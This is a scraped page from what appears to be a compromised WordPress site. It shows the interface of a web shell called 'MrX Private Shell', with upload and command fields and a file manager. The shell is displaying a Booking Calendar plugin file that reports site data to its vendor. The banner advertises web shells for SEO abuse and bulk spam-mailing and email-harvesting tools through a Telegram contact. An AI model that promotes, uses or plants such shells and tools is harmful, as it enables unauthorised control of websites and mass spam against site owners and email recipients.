__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @version 1.0
 * @package Booking Calendar
 * @subpackage  Check  News, Version
 * @category    Functions
 *
 * @author wpdevelop
 * @link https://wpbookingcalendar.com/
 * @email [email protected]
 *
 * @modified 2024-09-03
 */

if ( ! defined( 'ABSPATH' ) ) exit;                                             // Exit if accessed directly


// =====================================================================================================================
// ==  Check  News, Version  ==
// =====================================================================================================================

define ('OBC_CHECK_URL', 'https://wpbookingcalendar.com/');


function wpdev_ajax_check_bk_news( $sub_url = '' ){

	$v=array();
	if (class_exists('wpdev_bk_personal'))          $v[] = 'wpdev_bk_personal';
	if (class_exists('wpdev_bk_biz_s'))             $v[] = 'wpdev_bk_biz_s';
	if (class_exists('wpdev_bk_biz_m'))             $v[] = 'wpdev_bk_biz_m';
	if (class_exists('wpdev_bk_biz_l'))             $v[] = 'wpdev_bk_biz_l';
	if (class_exists('wpdev_bk_multiuser'))         $v[] = 'wpdev_bk_multiuser';

	$obc_settings = array();
	$ver = get_bk_option('bk_version_data');
	if ( $ver !== false ) { $obc_settings = array( 'subscription_key'=>wp_json_encode($ver) ); }

	$params = array(
				'action' => 'get_news',
				'subscription_email' => isset($obc_settings['subscription_email'])?$obc_settings['subscription_email']:false,
				'subscription_key'   => isset($obc_settings['subscription_key'])?$obc_settings['subscription_key']:false,
				'bk' => array('bk_ver'=>WPDEV_BK_VERSION, 'bk_url'=>WPBC_PLUGIN_URL,'bk_dir'=>WPBC_PLUGIN_DIR, 'bk_clss'=>$v),
				'siteurl'            => get_option('siteurl'),
				'siteip' 			 => wpbc_get_server_ip(),													// FixIn: 9.8.14.3.
				'admin_email'        => get_option('admin_email')
	);

	$request = new WP_Http();
	if (empty($sub_url)) $sub_url = 'info/';
	$result  = $request->request( OBC_CHECK_URL . $sub_url, array(
		'method' => 'POST',
		'timeout' => 15,
		'body' => $params
		));

	if (!is_wp_error($result) && ($result['response']['code']=='200') && (true) ) {

	   $string = ($result['body']);                                         //$string = str_replace( "'", '&#039;', $string );
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		echo $string;
	   echo ' <script type="text/javascript"> ';
	   echo '    jQuery("#ajax_bk_respond").after( jQuery("#ajax_bk_respond #bk_news_loaded") );';
	   echo '    jQuery("#bk_news_loaded").slideUp(1).slideDown(1500);';
	   echo ' </script> ';

	} else  /**/
		{ // Some error appear
		echo '<div id="bk_errror_loading">';
			if ( is_wp_error( $result ) ) {
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				echo $result->get_error_message();
			} else {
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				echo $result['response']['message'];
			}
		echo '</div>';
		echo ' <script type="text/javascript"> ';
		echo '    document.getElementById("bk_news").style.display="none";';
		echo '    jQuery("#ajax_bk_respond").after( jQuery("#ajax_bk_respond #bk_errror_loading") );';
		echo '    jQuery("#bk_errror_loading").slideUp(1).slideDown(1500);';
		echo '    jQuery("#bk_news_section").animate({opacity:1},3000).slideUp(1500);';
		echo ' </script> ';
	}

}


/**
 * Check  if user defined to  not show up_news section.
 *
 */
function wpbc_is_show_up_news(){                                                                                        // FixIn: 8.1.3.9.

	$wpdev_copyright_adminpanel  = get_bk_option( 'booking_wpdev_copyright_adminpanel' );             // check
	if ( 	( $wpdev_copyright_adminpanel === 'Off' )
		 && ( ! wpbc_is_this_demo() )
		 && ( class_exists('wpdev_bk_personal') )
	) {
		return false;
	} else {
		return true;
	}
}


function wpdev_ajax_check_bk_version(){
	$v=array();
	if (class_exists('wpdev_bk_personal'))            $v[] = 'wpdev_bk_personal';
	if (class_exists('wpdev_bk_biz_s'))        $v[] = 'wpdev_bk_biz_s';
	if (class_exists('wpdev_bk_biz_m'))   $v[] = 'wpdev_bk_biz_m';
	if (class_exists('wpdev_bk_biz_l'))          $v[] = 'wpdev_bk_biz_l';
	if (class_exists('wpdev_bk_multiuser'))      $v[] = 'wpdev_bk_multiuser';

	$obc_settings = array();
	$params = array(
		'action'       => 'set_register',
		'order_number' => isset( $_POST['order_num'] ) ? sanitize_text_field( wp_unslash( $_POST['order_num'] ) ) : false,  // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing
		'bk'           => array( 'bk_ver'  => WPDEV_BK_VERSION,
								 'bk_url'  => WPBC_PLUGIN_URL,
								 'bk_dir'  => WPBC_PLUGIN_DIR,
								 'bk_clss' => $v,
		),
		'siteurl'      => get_option( 'siteurl' ),
		'siteip'       => wpbc_get_server_ip(),                // FixIn: 9.8.14.3.
		'admin_email'  => get_option( 'admin_email' ),
	);

	update_bk_option( 'bk_version_data', serialize( $params ) );

	$request = new WP_Http();
	$result  = $request->request( OBC_CHECK_URL . 'register/', array(
		'method' => 'POST',
		'timeout' => 15,
		'body' => $params
		));

	if ( ! is_wp_error($result)
		&& ( $result['response']['code']=='200' )
		&& ( true ) ) {

	   $string = ($result['body']);                                         //$string = str_replace( "'", '&#039;', $string );
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		echo $string;
	   echo ' <script type="text/javascript"> ';
	   echo '    jQuery("#ajax_message").append( jQuery("#ajax_respond #bk_registration_info") );';
	   echo '    jQuery("#ajax_message").append( "<div id=\'bk_registration_info_reload\'>If page will not reload automatically,  please refresh page after 60 seconds...</div>" );';
	   echo ' </script> ';

	} else { // Some error appear
		echo '<div id="bk_errror_loading" class="warning_message" >';
		echo '<div class="info_message">'; esc_html_e('Warning! Some error occur, during sending registration request.' ,'booking'); echo '</div>';

		if ( is_wp_error( $result ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			echo $result->get_error_message();
		} else {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			echo $result['response']['message'];
		}
		echo '<br /><br />';
		esc_html_e('Please refresh this page and if the same error appear again contact support by email (with  info about order number and website) for finishing the registrations' ,'booking'); echo ' <a href="mailto:[email protected]">[email protected]</a>';
		echo '</strong></div>';
		echo ' <script type="text/javascript"> ';
		echo '    jQuery( "#ajax_message" ).html( "" );';

		echo '    jQuery("#ajax_message").append( jQuery("#ajax_respond #bk_errror_loading") );';
		echo '    jQuery("#bk_errror_loading").slideUp(1).slideDown(1500);';

		echo '    jQuery("#recheck_version").animate({opacity:1},3000).slideUp(1500);';
		echo ' </script> ';
	}
}

Filemanager

Name Type Size Permission Actions
admin_menu_url.php File 21.92 KB 0640
admin_top_bar.php File 10.12 KB 0640
booking_data__get.php File 28.29 KB 0640
booking_data__parse.php File 33.27 KB 0640
city_list.php File 18.84 KB 0640
class-wpbc-action-scheduler-compatibility.php File 4.07 KB 0640
is_dismissed.php File 6.5 KB 0640
is_table_exist.php File 4.09 KB 0640
news_version.php File 6.99 KB 0640
nonce_func.php File 8.26 KB 0640
request.php File 20.7 KB 0640
sanitizing.php File 25.68 KB 0640
simple_html_tags.php File 8.02 KB 0640
str_regex.php File 20.75 KB 0640
user-custom-data-saver.php File 9.31 KB 0640
versions.php File 17.82 KB 0640
Filemanager